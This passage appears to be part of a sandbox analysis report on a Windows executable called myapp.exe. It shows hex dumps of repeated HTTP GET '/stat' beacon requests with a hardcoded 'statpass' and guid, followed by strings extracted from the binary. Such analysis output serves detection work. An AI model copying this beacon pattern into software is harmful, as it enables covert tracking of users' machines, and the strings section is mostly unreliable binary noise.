0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313242 38394126 73746174 70617373   012B89A&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313243 43363026 73746174 70617373   012CC60&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313245 30323726 73746174 70617373   012E027&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313246 33444526 73746174 70617373   012F3DE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..


Strings
Q.
.....aew.......#.}..1.Q.<.
b....&.Q..6.........:Tx.,..
{$.
....k.fU.
.c.Y=O
..vk.@.%9*.... .j..0~
>Lo..Nm......a.l
....+...
.1........CTaY.K....q...5
.h&
...B..A.t.:K.<...B....t`[
7....k..;.N.......*.r...czm.>c..
.
..$5.....[{.../T..X.
.
.q..x......h...S
Gl..u.2
.~KF..5d..A...~E)G.n...E..m..`qP.....0bp.Uj'..:..#.".
.P.h.O....2F......3...
w(.B.b.....
C$[.Y.
.....,o.
O..
..BX.&...M^.o.[E....3...z...>.[..B.._!-..9.`.Q.L..
...Ifx2.8Q..0A.qWRq..+#1.C
........,.....=V/iT.r...
^....X>k[k2.'.Y...._...i.GyX.F..!C.8...e..w...wh.
9.+.:..
.
.E
(...`..])P......@f....-G.8+R&....Q..}<:.
..t..).p..w..8.CX....~...!..4.;..
+9X
..=]
.
Y
L..x
 3...
.y.p$.L..S.
..........Z{
....
4..+.........8.#..@..V
E.e.....
.
r.
..
 (C) 2003
myapp.exe
xlRW
 xlRW
xlRW 1.0 
 xlRW(&A)...
080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1$1+171>1Q1b1h1v1{1
141L1h1l1p1t1x1|1
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
3$3*30363<3B3H3N3T3Z3`3f3l3r3x3~3
3 3$3(3,3034383<3@3D3P3l3x3
$34Rbr
4 4&4,42484>4D4J4P4V4\4b4h4n4t4z4
444@4\4d4l4t4|4
4:T<TJWc{
4:ziDWJ
  %*5-%'2(  .?/279<<<$-BFA:F5;<9
5"5(5.545:5@5F5L5R5X5^5d5
6-=9=?=_=y=
6Eu6kQ
7A 3@bZ%
9& &99999999999999999999999999999999999999999999999999
9acspAPPL
A[/=jWxo
AppendMenuW
;)<a Smg
CreateFileA
__CxxFrameHandler
@.data
DrawIcon
e6@4Q_
EI]HLO
EkV_^]
EnableWindow
GetClientRect
GetModuleFileNameA
GetModuleFileNameW
GetSystemMenu
GetSystemMetrics
HrCg@b	g 
ICC_PROFILE
-{*(i/:d
.idata
;i;K.(
IsIconic
j\Ra+WyY
KERNEL32.dll
kq8r3q0q
LoadIconW
memcpy
memset
MFC42u.DLL
mntrRGB XYZ 
MSVCRT.dll
;)Nj6d
PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD
pK3~:NFZ
Q*Q}QbVaW
	Q/W,2
`.rdata
SendMessageW
&%sTsph
!This program cannot be run in DOS mode.
TYd0id
USER32.dll
va6(ZS
Vubsl(
V{Wgja@$3R
V+xY"p
W6:1x?
_wfopen
	w!sIK
XA=~jg
yc6?[w
yk)*Mm